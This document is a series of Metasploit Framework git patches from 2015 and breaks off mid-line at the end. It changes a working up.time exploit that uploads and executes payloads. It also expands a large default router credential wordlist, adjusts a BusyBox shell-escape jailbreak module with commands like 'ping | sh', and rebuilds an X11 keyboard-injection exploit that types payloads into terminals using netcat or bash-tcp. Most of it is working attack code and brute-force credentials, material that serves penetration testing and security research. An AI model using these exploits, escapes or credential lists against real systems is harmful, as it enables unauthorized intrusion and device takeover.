+76,21 @@ class Metasploit4 < Msf::Exploit::Remote # #Check OS # phpfile_name = rand_text_alpha(10) - if res_auth.headers['Server'] =~ /Unix/ + if !res_auth.nil? && res_auth.headers['Server'] =~ /Unix/ vprint_status('Found Linux installation - Setting appropriated PATH') phppath = '/usr/local/uptime/apache/bin/php' uploadpath = '/usr/local/uptime/GUI/wizards' cmdargs = uploadpath + '/' + phpfile_name + '.txt' cmd = phppath else - vprint_status('Found Windows instalation - Setting appropriated PATH') + vprint_status('Found Windows installation - Setting appropriated PATH') phppath = 'C:\\Program Files\\uptime software\\uptime\\apache\\php\\php.exe' uploadpath = 'C:\\Program Files\\uptime software\\uptime\\GUI\\wizards' cmd = 'c:\\windows\\system32\\cmd.exe' cmdargs = '/K "' + '"' + phppath + '" ' + '"' + uploadpath + '\\' + phpfile_name + '.txt' + '"' + '"' end - if res_auth && res_auth.get_cookies =~ /login=true/ + if !res_auth.nil? && res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) cookie_split = res_auth.get_cookies.split(';') vprint_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") @@ -99,14 +99,12 @@ class Metasploit4 < Msf::Exploit::Remote # Privilege escalation getting user ID res_priv = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, '/main.php'), + 'uri' => normalize_uri(target_uri.path, 'main.php'), 'vars_get' => { 'page' => 'Users', 'subPage' => 'UserContainer' }, - 'headers' => { - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" - } + 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" ) matchdata = res_priv.body.match(/UPTIME.CurrentUser.userId.*/) get_id = matchdata[0].gsub(/[^\d]/, '') @@ -115,15 +113,13 @@ class Metasploit4 < Msf::Exploit::Remote # Privilege escalation post res_priv_elev = send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, '/main.php'), + 'uri' => normalize_uri(target_uri.path, 'main.php'), 'vars_get' => { 'section' => 'UserContainer', 'subsection' => 'edit', 'id' => "#{get_id}" }, - 'headers' => { - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" - }, + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_post' => { 'operation' => 'submit', 'disableEditOfUsernameRoleGroup' => 'false', @@ -155,21 +151,19 @@ class Metasploit4 < Msf::Exploit::Remote vprint_status('Refresing perms...') res_priv = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, '/index.php?loggedout'), - 'headers' => { - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" - } + 'uri' => normalize_uri(target_uri.path, 'index.php?loggedout'), + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" ) res_auth = send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, '/index.php'), + 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) - if res_auth && res_auth.get_cookies =~ /login=true/ + if !res_auth.nil? && res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) cookie_split = res_auth.get_cookies.split(';') vprint_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") @@ -182,10 +176,8 @@ class Metasploit4 < Msf::Exploit::Remote cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs = *args res_service = send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, '/main.php'), - 'headers' => { - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" - }, + 'uri' => normalize_uri(target_uri.path, 'main.php'), + 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_get' => { 'section' => 'ERDCInstance', 'subsection' => 'add' @@ -269,7 +261,7 @@ class Metasploit4 < Msf::Exploit::Remote end # CREATING Linux EXEC Service - if res_auth.headers['Server'] =~ /Unix/ + if !res_auth.nil? && res_auth.headers['Server'] =~ /Unix/ vprint_status('Creating Linux Monitor Code exec...') create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs) @@ -283,7 +275,7 @@ class Metasploit4 < Msf::Exploit::Remote vprint_status('Uploading file...') send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, '/wizards/post2file.php'), + 'uri' => normalize_uri(target_uri.path, 'wizards', 'post2file.php'), 'vars_post' => { 'file_name' => phpfile_name + '.txt', 'script' => payload.encoded @@ -293,10 +285,10 @@ class Metasploit4 < Msf::Exploit::Remote vprint_status('Checking Uploaded file...') res_up_check = send_request_cgi( 'method' => 'GET', - 'uri' => '/wizards' + '/' + phpfile_name + '.txt' + 'uri' => normalize_uri(target_uri.path, 'wizards', "#{phpfile_name}.txt") ) - if res_up_check.code == 200 + if !res_up_check.nil? && res_up_check.code == 200 print_good("File found: #{phpfile_name}") else print_error('File not found') @@ -307,17 +299,15 @@ class Metasploit4 < Msf::Exploit::Remote vprint_status('Fetching Monitor ID...') res_mon_id = send_request_cgi( 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, '/ajax/jsonQuery.php'), + 'uri' => normalize_uri(target_uri.path, 'ajax', 'jsonQuery.php'), + 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_get' => { 'query' => 'GET_SERVICE_PAGE_ERDC_LIST', 'iDisplayStart' => '0', 'iDisplayLength' => '10', 'sSearch' => 'Exploit' - }, - 'headers' => { - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" } - ) + ) matchdata = res_mon_id.body.match(/id=?[^>]*>/) mon_get_id = matchdata[0].gsub(/[^\d]/, '') @@ -325,10 +315,8 @@ class Metasploit4 < Msf::Exploit::Remote # Executing monitor send_request_cgi( 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, '/main.php'), - 'headers' => { - 'Cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" - }, + 'uri' => normalize_uri(target_uri.path, 'main.php'), + 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_post' => { 'section' => 'RunERDCInstance', 'subsection' => 'view', From 21b69b9430899ce5cec959a4f9230f49b0ae39d7 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Sat, 5 Sep 2015 22:38:30 -0500 Subject: [PATCH 0574/2172] Remove HP MPE/iX password defaults --- data/wordlists/routers_userpass.txt | 60 +---------------------------- 1 file changed, 1 insertion(+), 59 deletions(-) diff --git a/data/wordlists/routers_userpass.txt b/data/wordlists/routers_userpass.txt index 95411d6a4c..3c209f5d09 100644 --- a/data/wordlists/routers_userpass.txt +++ b/data/wordlists/routers_userpass.txt @@ -129,64 +129,6 @@ anonymous Exabyte root default admin radius admin isee -MGR HPP187 -MGR HPP189 -MGR HPP196 -MGR INTX3 -MGR ITF3000 -MGR NETBASE -MGR REGO -MGR RJE -MGR CONV -OPERATOR SYS -OPERATOR DISC -OPERATOR SYSTEM -OPERATOR SUPPORT -OPERATOR COGNOS -PCUSER SYS -RSBCMON SYS -SPOOLMAN HPOFFICE -WP HPOFFICE -ADVMAIL HPOFFICE DATA -ADVMAIL HP -FIELD SUPPORT -FIELD MGR -FIELD SERVICE -FIELD MANAGER -FIELD HPP187 SYS -FIELD LOTUS -FIELD HPWORD PUB -FIELD HPONLY -HELLO MANAGER.SYS -HELLO MGR.SYS -HELLO FIELD.SUPPORT -HELLO OP.OPERATOR -MAIL MAIL -MAIL REMOTE -MAIL TELESUP -MAIL HPOFFICE -MAIL MPE -MANAGER TCH -MANAGER SYS -MANAGER SECURITY -MANAGER ITF3000 -MANAGER HPOFFICE -MANAGER COGNOS -MANAGER TELESUP -MGR SYS -MGR CAROLIAN -MGR VESOFT -MGR XLSERVER -MGR SECURITY -MGR TELESUP -MGR HPDESK -MGR CCC -MGR CNAS -MGR WORD -MGR COGNOS -MGR ROBELLE -MGR HPOFFICE -MGR HPONLY admin hp.com storwatch specialist vt100 public @@ -395,4 +337,4 @@ admin 1111 admin zoomadsl ZXDSL ZXDSL 1234 1234 -webadmin 1234 \ No newline at end of file +webadmin 1234 From 76d74576db3566d8a586650e088a57eb4fd2b28e Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Sat, 5 Sep 2015 22:39:51 -0500 Subject: [PATCH 0575/2172] Remove FTP-only default credentials --- data/wordlists/routers_userpass.txt | 4 ---- 1 file changed, 4 deletions(-) diff --git a/data/wordlists/routers_userpass.txt b/data/wordlists/routers_userpass.txt index 3c209f5d09..2f5d91d528 100644 --- a/data/wordlists/routers_userpass.txt +++ b/data/wordlists/routers_userpass.txt @@ -32,10 +32,6 @@ halt tlah admin switch diag switch root permit -ftp_inst pbxk1064 -ftp_admi kilo1987 -ftp_oper help1954 -ftp_nmc tuxalize manager friend manager admin Manager friend From 091c4d5214f36e9422edb003182de869363e6cf2 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Sat, 5 Sep 2015 22:51:32 -0500 Subject: [PATCH 0576/2172] Expand and reorder --- data/wordlists/routers_userpass.txt | 685 ++++++++++++++++------------ 1 file changed, 382 insertions(+), 303 deletions(-) diff --git a/data/wordlists/routers_userpass.txt b/data/wordlists/routers_userpass.txt index 2f5d91d528..4b35db7811 100644 --- a/data/wordlists/routers_userpass.txt +++ b/data/wordlists/routers_userpass.txt @@ -1,336 +1,415 @@ -debug synnet -tech tech -adminttd adminttd -admin comcomcom -admin admin -admin synnet -monitor monitor -manager manager -admin password -User Password -Administrator admin -security security -3comcso RIP000 -recovery recovery -volition volition -Administrator 3ware -sysadm anicust -Admin admin -none 0 -admin secure -kermit kermit -dhs3mt dhs3mt -at4400 at4400 -mtch mtch -mtcl mtcl -root letacla -dhs3pms dhs3pms -adfexc adfexc -client client -install llatsni -halt tlah -admin switch -diag switch -root permit -manager friend -manager admin -Manager friend -none admin -admin linga +root +admin +guest root root -user user -admin cableroot -acc acc -device device -apc apc +root password +root 1234 +root 12345 +root 123456 +root 3ep5w2u root admin +root Admin +root admin_1 root alpine -admin 0 -IntraSwitch Asante -IntraStack Asante -admin asante -readonly lucenttech2 root ascend -admin epicrouter -customer none -DTA TJM -admin atlantis -root ROOT500 -diag danger -manuf xxyyzz -craft crftpw +root attack +root blender +root calvin +root changeme +root Cisco root cms500 -dadmin dadmin01 -root pass -admin bintec -admin articon -patrol patrol -webadmin webadmin -installer installer +root davox +root default root fivranne -admin 1234 -mediator mediator +root ggdaseuaimhrke +root iDirect +root letacla root Mau'dib -cellit cellit -admin diamond -cmaker cmaker +root pass +root permit +root ROOT500 +root tini +root tslinux +root wyse +ro ro +router router +rwa rwa +rw rw +ubnt ubnt +guest guest +guest User +admin 0 +admin 0000 +admin 1111 +admin 123 +admin 1234 +admin 123456 +admin 1234admin +admin 2222 +admin 22222 +admin2 changeme +admin 3477 +admin 3ascotel +admin 9999 +admin access +admin admin +admin Admin +Admin admin +admin admin123 +admin adminttd +admin adslolitec +admin adslroot +admin adtran +admin AitbISP4eCiG +admin articon +admin asante +admin ascend +admin Ascend +admin asd +admin atc123 +admin atlantis +admin backdoor +admin barricade +admin barricadei +admin bintec +admin BRIDGE +admin cableroot admin changeme -netrangr attack +admin cisco +admin _Cisco +admin comcomcom +admin conexant +admin default +admin diamond +admin enter +admin epicrouter +admin extendnet +admin giraff +admin hagpolm1 +admin hello +admin help +admin hp.com +admin Intel +admin ironport +admin isee +acc acc +adfexc adfexc +adm +admin kont2004 +admin letmein +admin leviton +admin linga +admin michelangelo +admin microbusiness +admin MiniAP +admin motorola +admin mu +admin my_DEMARC +admin netadmin +admin NetCache +admin NetICs +admin noway +admin OCS +admin operator +admin P@55w0rd! +admin password +admin p-assword +admin PASSWORD +admin passwort +admin pento +admin pfsense +admin private +admin Protector +admin public +admin pwp +admin radius +admin rmnetlm +admin root +admin secure +admin setup +admin sitecom +admin smallbusiness +admin smcadmin +admin SMDR +admin speedxess +admin SUPER +admin superuser +admin switch +admin Symbol +admin synnet +admin sysAdmin +admin system +admin TANDBERG +admin visual +admin w2402 +admin xad$|#12 +admin xad$l#12 +admin zoomadsl +system change_on_install +system/manager sys/change_on_install +system password +system sys +adminttd adminttd +adminuser OCS +adminview OCS +adminstat OCS +adminstrator changeme +Administrator 3ware +Administrator admin +administrator administrator +ADMINISTRATOR ADMINISTRATOR +administrator changeme +Administrator changeme +Administrator ganteng +Administrator letmein +Administrator password +Administrator pilou +Administrator smcadmin +ADMN admn +ami +anonymous any@ +anonymous Exabyte +Any 12345 +apc apc +at4400 at4400 bbsd-client changeme2 bbsd-client NULL -Administrator changeme -root attack -admin default -Cisco Cisco -admin cisco -root blender -hsa hsadb -wlse wlsedb -root Cisco -admin system -user tivonpw -cisco cisco -administrator administrator -user user -operator operator -user public -PFCUser 240653C9467E45 -corecess corecess -cgadmin cgadmin -super surt -root tslinux -D-Link D-Link -root tini -anonymous any@ -root davox -davox davox -MDaemon MServer -root calvin -admin my_DEMARC -PBX PBX -NETWORK NETWORK -admin michelangelo -user password -draytek 1234 -admin 123 -login admin -login password -admin netadmin -tiger tiger123 -websecadm changeme -netman netman -1111 1111 -supervisor supervisor -anonymous Exabyte -root default -admin radius -admin isee -admin hp.com -storwatch specialist -vt100 public -superadmin secret -hscroot abc123 -USERID PASSW0RD -Administrator pilou -Administrator letmein -NICONEX NICONEX -setup setup -intel intel -admin hello -admin giraff -SYSDBA masterkey -intermec intermec -operator $chwarzepumpe -system sys -admin operator -admin ironport -JDE JDE -PRODDTA PRODDTA -netscreen netscreen -superuser 123456 -admin 123456 -sysadmin PASS -login access -comcast 1234 -setup changeme -setup changeme! -super super -xxx cascade -admin Ascend -readwrite lucenttech1 -LUCENT01 UI-PSWD-01 -LUCENT02 UI-PSWD-02 -admin AitbISP4eCiG bciim bciimpw bcim bcimpw bcms bcmspw bcnas bcnaspw +bcnas pcnaspw blue bluepw browse browsepw browse looker +cablecom router +cablemodem robotics +cac_admin cacadmin +cas cascade +ccrusr ccrusr +cellit cellit +cgadmin cgadmin +cisco +cisco cisco +Cisco Cisco +citel citel +client client +cmaker cmaker +comcast 1234 +corecess corecess +craft craft craft craft craftpw +craft crftpw +CSG SESAME +cusadmin highspeed cust custpw -enquiry enquirypw -field support -inads indspw -inads inads -init initpw -locate locatepw -maint maintpw -maint rwmaint -nms nmspw -rcust rcustpw -support supportpw -tech field -scmadmin scmchangeme -Administrator password -MICRO RSX -service smile -system password -cablecom router -admin motorola -router router -SYSADM sysadm -admin admin123 -GlobalAdmin GlobalAdmin -super 5777364 -superman 21241036 -naadmin naadmin -netopia netopia -admin noway -admin NetCache -e500 e500changeme -e250 e250changeme -guest guest -admin asd -vcr NetVCR -m1122 m1122 -telecom telecom -disttech 4tas -maint maint -mlusr mlusr -admin root -l2 l2 -l3 l3 -ro ro -rw rw -rwa rwa -admin setup -login 0 -login 1111 -login 8429 -spcl 0 -root 3ep5w2u -maint ntacdmax -ccrusr ccrusr -supervisor PlsChgMe! -266344 266344 -supervisor PlsChgMe1 -admin adslolitec -admin OCS -adminstat OCS -adminview OCS -adminuser OCS -helpdesk OCS -sys uplink -cac_admin cacadmin -system sys -manager change_on_install -admin kont2004 -Manager Manager -sysadm sysadm -write private +customer +customer none +dadmin dadmin01 +davox davox debug d.e.b.u.g -echo echo -PSEAdmin $secure$ -admin superuser -admin mu -admin microbusiness -admin smallbusiness -Polycom SpIp -support h179350 -lp lp -radware radware -wradmin trancell -piranha q -piranha piranha -sysadmin password -setup changeme -teacher password -temp1 password -admin rmnetlm -admin2 changeme -adminstrator changeme +debug synnet deskalt password deskman changeme desknorm password deskres password +device device +dhs3mt dhs3mt +dhs3pms dhs3pms +diag danger +diag switch +disttech 4tas +D-Link D-Link +draytek 1234 +DTA TJM +e250 e250changeme +e500 e500changeme +echo echo +echo User +enable +eng engineer +enquiry enquirypw +field support +GEN1 gen1 +GEN2 gen2 +GlobalAdmin GlobalAdmin +halt tlah +helpdesk OCS +hsa hsadb +hscroot abc123 +HTTP HTTP +hydrasna +iclock timely +images images +inads inads +inads indspw +init initpw +installer installer +install llatsni +install secret +intel intel +intermec intermec +intermec intermec1QTPS +IntraStack Asante +IntraSwitch Asante +jagadmin +JDE JDE +kermit kermit +l2 l2 +l3 l3 +locate locatepw +login 0 +login 1111 +login 8429 +login access +login admin +login password +lp lp +LUCENT01 UI-PSWD-01 +LUCENT02 UI-PSWD-02 +m1122 m1122 +mac +maint maint +maint maintpw +maint ntacdmax +maint rwmaint +manage !manage +manager admin +manager change_on_install +manager friend +Manager friend +manager manager +Manager Manager +manager sys +manuf xxyyzz +MDaemon MServer +mediator mediator +MICRO RSX +mlusr mlusr +monitor monitor +mtch mtch +mtcl +mtcl mtcl +naadmin naadmin +NAU NAU +netangr attack +netman +netman netman +netopia netopia +netrangr attack +netscreen netscreen +NETWORK NETWORK +NICONEX NICONEX +nms nmspw +nokai nokai +nokia nokia +none 0 +none admin +operator +operator 1234 +operator $chwarzepumpe +operator operator +op op +op operator +patrol patrol +PBX PBX +PFCUser 240653C9467E45 +piranha piranha +piranha q +pmd +poll tech +Polycom SpIp +PRODDTA PRODDTA +PSEAdmin $secure$ +public +public public +radware radware +rapport r@p8p0r+ +rcust rcustpw +readonly lucenttech2 +readwrite lucenttech1 +recovery recovery replicator replicator RMUser1 password +sa +scmadmin scmchangeme +scout scout +secret secret +secure secure +security security +service smile +setup changeme +setup changeme! +setup setup +smc smcadmin +spcl 0 +storwatch specialist +stratacom stratauser +super 5777364 +superadmin secret +superman 21241036 +superman talent +super super +super.super +super.super master +super surt +superuser +superuser 123456 +superuser admin +supervisor PlsChgMe! +supervisor PlsChgMe1 +supervisor supervisor +support h179350 +support support +support supportpw +su super +Sweex Mysweex +sysadm Admin +sysadm anicust +sysadmin PASS +sysadmin password +sysadmin sysadmin +sysadm PASS +sysadm sysadm +SYSADM sysadm +sys uplink +target password +teacher password +tech +tech ANYCOM +tech field +tech ILMI +tech tech +telco telco +telecom telecom +tellabs tellabs#1 +temp1 password +test test +tiara tiaranet +tiger tiger123 topicalt password topicnorm password topicres password -root 1234 -public public -admin w2402 -GEN1 gen1 -GEN2 gen2 -ADMN admn -eng engineer -op op -op operator -su super -poll tech -sysadmin sysadmin -admin pwp -superuser admin -admin hagpolm1 -Administrator ganteng -Administrator smcadmin -admin barricade -smc smcadmin -admin smcadmin -cusadmin highspeed -1.79 + Multi -aaa often blank -admin Protector -admin conexant -admin xad$l#12 -root changeme -Sweex Mysweex -target password -install secret -super.super master -xbox xbox -telco telco -tellabs tellabs#1 -root admin_1 -tiara tiaranet -superman talent -admin extendnet -root 12345 -cablemodem robotics -NAU NAU -ADMINISTRATOR ADMINISTRATOR -HTTP HTTP -Any 12345 -support support -VTech VTech -admin visual -root 123456 -CSG SESAME +user +USERID PASSW0RD user pass -admin sysAdmin -root wyse +user password +User Password +user public +user tivonpw +user user +vcr NetVCR VNC winterm -rapport r@p8p0r+ -1502 1502 -xd xd -admin 2222 -admin 22222 -admin 1111 -admin zoomadsl -ZXDSL ZXDSL -1234 1234 +volition volition +vt100 public +VTech VTech webadmin 1234 +webadmin webadmin +websecadm changeme +wlse wlsedb +wradmin trancell +write private +xd xd +xxx cascade +ZXDSL ZXDSL From 8c0b0ad37705e65bb86900bd276fb823260ef682 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Sat, 5 Sep 2015 22:54:07 -0500 Subject: [PATCH 0577/2172] Fix up jailbreak commands & regex for success detection --- modules/post/linux/busybox/jailbreak.rb | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/modules/post/linux/busybox/jailbreak.rb b/modules/post/linux/busybox/jailbreak.rb index 7d7e05cfff..9db686e65a 100644 --- a/modules/post/linux/busybox/jailbreak.rb +++ b/modules/post/linux/busybox/jailbreak.rb @@ -19,9 +19,9 @@ class Metasploit3 < Msf::Post 'cat xx | sh', 'ping | sh', 'cat ($sh)', - 'cat xx && sh', - 'echo xx && sh', - 'ping && sh' + 'cat xx && sh', + 'echo xx && sh', + 'ping && sh' ] def initialize @@ -55,8 +55,9 @@ class Metasploit3 < Msf::Post session.shell_write("#{command}\n") (1..10).each do resp = session.shell_read - vprint_status("jailbreak received: #{resp}") unless resp.nil? || resp.empty? - if resp.downcase.include?('busybox') && resp.downcase.include?('built-in shell') + next unless resp.to_s.length > 0 + vprint_status("jailbreak received: #{resp}") + if resp.downcase =~ /busybox/i && resp.downcase =~ /built.*in shell/i print_good("Jailbreak accomplished with #{command}") return true end From ec5cbc842ec1840913ae5b0b19c44070d3043c46 Mon Sep 17 00:00:00 2001 From: HD Moore <hd_moore@rapid7.com> Date: Sat, 5 Sep 2015 22:56:11 -0500 Subject: [PATCH 0578/2172] Cosmetic cleanups --- modules/post/linux/busybox/enum_connections.rb | 2 +- modules/post/linux/busybox/enum_hosts.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/post/linux/busybox/enum_connections.rb b/modules/post/linux/busybox/enum_connections.rb index d5238e0f2e..473c55c7de 100644 --- a/modules/post/linux/busybox/enum_connections.rb +++ b/modules/post/linux/busybox/enum_connections.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Post FILES.each do |f| if busy_box_file_exist?(f) found = true - print_good("Connections File found: #{f}.") + print_good("Connections file found: #{f}.") read_connection_file(f) end end diff --git a/modules/post/linux/busybox/enum_hosts.rb b/modules/post/linux/busybox/enum_hosts.rb index a5b1fb3277..996a6f377f 100644 --- a/modules/post/linux/busybox/enum_hosts.rb +++ b/modules/post/linux/busybox/enum_hosts.rb @@ -41,9 +41,9 @@ class Metasploit3 < Msf::Post def read_hosts_file(file) begin str_file=read_file(file) - print_good("Hosts File found: #{file}.") + print_good("Hosts file found: #{file}.") vprint_line(str_file) - p = store_loot('busybox.enum.hosts', 'text/plain', session, str_file, file, 'BusyBox Device host names') + p = store_loot('busybox.enum.hosts', 'text/plain', session, str_file, file, 'BusyBox device host names') print_good("Hosts saved to #{p}.") rescue EOFError print_error("Nothing read from file: #{file}, file may be empty.") From 1d492e4b25c150158d95619ff8a1f9232983f140 Mon Sep 17 00:00:00 2001 From: xistence <xistence@0x90.nl> Date: Sun, 6 Sep 2015 15:55:16 +0700 Subject: [PATCH 0579/2172] Lots of X11 protocol changes --- .../exploits/unix/x11/x11_keyboard_exec.rb | 328 +++++++++++++++--- 1 file changed, 284 insertions(+), 44 deletions(-) diff --git a/modules/exploits/unix/x11/x11_keyboard_exec.rb b/modules/exploits/unix/x11/x11_keyboard_exec.rb index 20f9245172..f625575735 100644 --- a/modules/exploits/unix/x11/x11_keyboard_exec.rb +++ b/modules/exploits/unix/x11/x11_keyboard_exec.rb @@ -82,8 +82,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'X11 Keyboard Command Injection', 'Description' => %q{ This module exploits open X11 servers by connecting and registering a - virtual keyboard. The virtual keyboard is used to open an xterm terminal - and type and execute the specified payload. + virtual keyboard. The virtual keyboard is used to open an xterm or gnome + terminal and type and execute the specified payload. }, 'Author' => [ @@ -97,13 +97,16 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd cmd_bash', - 'RequiredCmd' => 'gawk bash-tcp python telnet netcat' + 'RequiredCmd' => 'gawk bash-tcp python netcat' } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, - 'Targets' => [['Automatic', {}]], - 'DisclosureDate' => 'Jul 10 2015', + 'Targets' => + [ + [ 'xterm (Generic)', {}], + [ 'gnome-terminal (Ubuntu)', {}], + ], 'DisclosureDate' => 'Jul 10 2015', 'DefaultTarget' => 0)) register_options( @@ -113,23 +116,58 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end + + def xkeyboard_key + req = "" + req << @xkeyboard_opcode + req << "\x05" # Extension minor: 5 (LatchLockState) + req << "\x04\x00" # Request length: 4 + req << "\x00\x01" # DeviceSpec: 0x0100 (256) + req << "\x00" # affectModLocks: 0 + req << "\x00" # modLocks: 0 + req << "\x01" # lockGroup: True + req << "\x00" # groupLock: 0 + req << "\x00" # affectModLatches: 0 + req << "\x00" # Unused + req << "\x00" # latchGroup: False + req << "\x00\x00" # groupLatch: 0 + req << "\x00" # Undecoded + return req + end + + def press_key(key) - req = "\x8e\x02\x09\x00" - req << "\x02" - req << key - req << "\x01" # Press key - req << "\x00" * 8 - req << "\x00\x05\x00\x05" - req << "\x00\x91\x01\x04" - req << "\x00\x03\x00\x02" - req << "\x00" * 4 - req << "\x00\x07\x00\x07" - req << "\x00\x2b\x00\x01" - req << "\x00" + + req = xkeyboard_key + + req << @xtest_opcode + req << "\x02" # Extension minor: 2 (FakeInput) + req << "\x09\x00" # Request length: 9 + req << "\x02" # Press key (Type: 2) + req << key # What key to press + req << "\x04\x00" # Unused? + req << "\x00\x00\x00\x00" # Time + req << "\x00\x00\x00\x00" # Root + req << "\x07\x00\x07\x00" # Unused? + req << "\x88\x04\x02\x00" # Unused? + #req << "\x00\x01" # rootX: 256 + #req << "\xf5\x05" # rootY: 1525 + req << "\x00\x00" # rootX: 0 + req << "\x00\x00" # rootY: 0 + req << "\x00\x00\x00\x00" # Unused? + req << "\x00\x00\x00" # Unused? + req << "\x00" # deviceid: 0 + + req << xkeyboard_key + + req << "\x2b" # Opcode 43: GetInputFocus + req << "\x00" # Unused + req << "\x01\x00" # Request length: 1 sock.put(req) res = sock.get_once + # Response should give 1 on first byte (Success) unless res and res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}") @@ -138,22 +176,37 @@ class Metasploit3 < Msf::Exploit::Remote end def release_key(key) - req = "\x8e\x02\x09\x00" - req << "\x03" - req << key - req << "\x00" # Release key - req << "\x00" * 4 - req << "\x00\x08\x01\x00" - req << "\x00" * 8 - req << "\x00\x00\x00\x02" - req << "\x00" * 4 - req << "\x00\x07\x00\x07" - req << "\x00\x2b\x00\x01" - req << "\x00" + + req = xkeyboard_key + + req << @xtest_opcode + req << "\x02" # Extension minor: 2 (FakeInput) + req << "\x09\x00" # Request length: 9 + req << "\x03" # Release key (Type: 3) + req << key # What key to release + req << "\x04\x00" # Unused? + req << "\x00\x00\x00\x00" # Time + req << "\x00\x00\x00\x00" # Root + req << "\x07\x00\x07\x00" # Unused? + req << "\x88\x04\x02\x00" # Unused? + #req << "\x00\x01" # rootX: 256 + #req << "\xf5\x05" # rootY: 1525 + req << "\x00\x00" # rootX: 0 + req << "\x00\x00" # rootY: 0 + req << "\x00\x00\x00\x00" # Unused? + req << "\x00\x00\x00" # Unused? + req << "\x00" # deviceid: 0 + + req << xkeyboard_key + + req << "\x2b" # Opcode 43: GetInputFocus + req << "\x00" # Unused + req << "\x01\x00" # Request length: 1 sock.put(req) res = sock.get_once + # Response should give 1 on first byte (Success) unless res and res[0,1] == "\x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}") @@ -190,6 +243,19 @@ class Metasploit3 < Msf::Exploit::Remote release_key("\x24") # [enter] end + def send_msg(sock, data) + sock.put(data) + data = "" + begin + read_data = sock.get_once(-1, 1) + while not read_data.nil? + data << read_data + read_data = sock.get_once(-1, 1) + end + rescue EOFError + end + data + end def exploit @@ -197,6 +263,7 @@ class Metasploit3 < Msf::Exploit::Remote connect print_status("#{rhost}:#{rport} - Register keyboard") + req = "\x6c" # Byte order (Little-Endian) req << "\x00" # Unused req << "\x0b\x00" # Protocol major version: 11 @@ -204,21 +271,188 @@ class Metasploit3 < Msf::Exploit::Remote req << "\x00\x00" # Authorization protocol name length: 0 req << "\x00\x00" # Authorization protocol data length: 0 req << "\x00\x00" # Unused - # Keyboard registration - req << "\x62\x00\x05\x00\x09\x00\x60\x03" - req << "XKEYBOARD" - req << "\x00" - req << "\x00\x00" - sock.put(req) - # Retrieve the whole X11 details response - res = sock.get_once + # Retrieve the whole X11 details response + res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) unless res and res[0,1] == "\x01" - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Registering keyboard failed") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed") end + + # Keyboard registration + req = "\x62" # Opcode 98: QueryExtension + req << "\x00" # Unused + req << "\x05\x00" # Request length: 5 + req << "\x09\x00" # Name length: 9 + req << "\x60\x03" # Unused? + req << "XKEYBOARD" # Name + req << "\x00\x00\x00" # Unused, padding? + + # Retrieve the whole X11 details response + res = send_msg(sock,req) + + # Response should give 0x01 in first byte (Success) + if res and res[0,1] == "\x01" + @xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode + else + #puts res.inspect + fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed") + end + + + req = "" + req << @xkeyboard_opcode + req << "\x00" # Extension minor: 0 (UseExtension) + req << "\x02\x00" # Request length: 2 + req << "\x01\x00" # Wanted Major: 1 + req << "\x00\x00" # Wanted Minor: 0 + + # Retrieve the whole X11 details response + res = send_msg(sock,req) + + unless res and res[0,1] == "\x01" + fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -") + end + + + req = "\x62" # Opcode 98: QueryExtension + req << "\x00" # Unused + req << "\x06\x00" # Request length: 6 + req << "\x0f\x00" # Name length: 15 + req << "\x00\x00" # Unused + req << "XInputExtension" # Name + req << "\x00" # Unused, padding? + + # Retrieve the whole X11 details response + res = send_msg(sock,req) + + # Response should give 0x01 in first byte (Success) + unless res and res[0,1] == "\x01" + fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed") + end + + + req = 